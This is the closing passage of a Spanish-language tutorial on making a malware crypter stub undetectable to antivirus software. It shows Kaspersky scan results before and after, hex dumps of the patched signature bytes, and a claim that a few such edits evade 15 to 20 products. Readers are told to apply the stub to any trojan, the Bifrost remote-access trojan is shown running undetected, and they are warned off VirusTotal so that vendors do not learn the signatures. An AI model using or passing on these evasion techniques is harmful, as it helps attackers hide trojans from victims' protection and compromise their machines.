Ahora escaneo ambos stub el original y el modificado y valla!! el antivirus ya no detecta el nuestro.

#### ANTES:

Threats have been detected!				
Scanned:	1	Start time:	08/02/2008 09:36:53 p.m	
Detected:	1	Duration:	00:00:02	
Untreated:	1	Finish time:	08/02/2008 09:36:55 p.m	

#### **DESPUES**:

	No threats detected					
	Scanned:	1	Start time:	08/02/2008 09:36:45 p.m.		
	Detected:	0	Duration:	unknown		
	Untreated:	0	Finish time:	08/02/2008 09:36:45 p.m.		

Ya tenemos nuestro crypter totalmente indetectable a KASPERSKY antivirus. Para que veas como se modifico la firma te pongo el antes y el después en HEX.

#### ANTES:

8D4D	ECBA	1026	0010	B824	d.OdM&\$
FFFF	8B45	ECE8	68F3	FFFF	&Eh
8BD8	8D4D	E8BA	1026	0010	PM&
A2F8	FFFF	8B45	E8E8	46F3	.<&
F6FF	<b>FF89</b>	C68D	4DE4	BA10	PS.[M

#### **DESPUES**:

8D4D	ECBA	1026	0010	B824	d.OdM&\$
FFFF	8B45	ECE8	68F3	FFFF	&Eh
8BD8	8D4D	E8E9	1C4C	0000	P
A2F8	FFFF	8B45	E8E8	46F3	.<&EF.
F6FF	FF89	C68D	4DE4	BA10	PS.[M

Bien ya has aprendido a hacer tus aplicaciones totalmente INDETECTABLES, solo basta con un poco de practica y harás este proceso en cuestión de minutos. Como dato extra te informo que los antivirus coinciden en firmas, por lo que con unas 3 modificaciones obviamente con diferente antivirus, habrás pasado más de 15 o 20 antivirus, por supuesto lo más populares como son

KASPERSKY NORTON, AVG, AVAST, PANDA, NOD32, MCFEE, AVAST, BITDEFENDER etc...

Ahora solo tienes que utilizar este STUB modificado en el crypter y aplicarlo a cualquier troyano y lo dejaras indetectable en cuestión de segundos.

Espero que esta guía haya aclarado todas tus dudas y además te haya abierto la mente en cuanto a la poca seguridad que un antivirus puede ofrecernos.

Como ultima muestra les dejo una hermosa captura del BIFROST funcionando con el kaspersky activo.



# SOLO 36.3 KB Y TOTALMENTE INDETECTABLE



# ADEMAS FUNCIONA PERFECTAMENTE



#### Se supone debería dar alarma no???

Bien con esto me despido por ahora, mucha suerte con sus pruebas y recuerden que por nada del mundo utilicen servicios de escaneo Online o entonces echaran por tierra todo lo que hicieron, si necesitan trabajar con varios antivirus utilicen maquinas virtuales con varias snapshots para cada antivirus.

# **!!!!NADA DE VIRUSTOTAL NI PAGINAS COMO ESAS!!!!**



juzo-kun deviantart.com

octalh@gmail.com